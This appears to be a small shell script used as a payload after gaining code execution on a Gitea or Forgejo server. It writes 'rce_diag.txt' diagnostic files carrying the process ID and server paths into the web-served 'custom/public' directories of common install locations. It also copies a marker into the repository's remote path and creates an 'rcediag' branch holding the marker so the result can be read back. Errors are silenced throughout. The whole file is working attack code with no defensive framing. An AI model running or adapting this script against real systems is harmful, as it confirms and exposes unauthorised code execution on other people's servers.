9 lines
834 B
Bash
Executable file
9 lines
834 B
Bash
Executable file
#!/bin/sh
|
|
C=$(pwd)
|
|
R=${C%/tmp/*}
|
|
P=""
|
|
while IFS= read -r l; do case "$l" in *url\ =\ *) P=${l##*url\ =\ }; break;; esac; done < config 2>/dev/null
|
|
for D in "$R/custom/public" "$R/custom" /data/gitea/custom/public /data/forgejo/custom/public /data/git/custom/public /var/lib/gitea/custom/public /home/git/gitea/custom/public; do printf 'V7 pid=%s C=%s R=%s P=%s D=%s\n' "$$" "$C" "$R" "$P" "$D" > "$D/rce_diag.txt" 2>/dev/null; done
|
|
[ -n "$P" ] && printf 'V7P C=%s P=%s GIT_DIR=%s\n' "$C" "$P" "${GIT_DIR:-none}" > "$P/rce_diag2.txt" 2>/dev/null
|
|
for S in "$R/custom/public" "$R/custom" /data/gitea/custom/public /data/forgejo/custom/public; do [ -s "$S/rce_diag.txt" ] && { H=$(git -C "${GIT_DIR:-.}" hash-object -w "$S/rce_diag.txt" 2>/dev/null); [ -n "$H" ] && git -C "$P" update-ref refs/heads/rcediag "$H" 2>/dev/null; }; done
|
|
#n2
|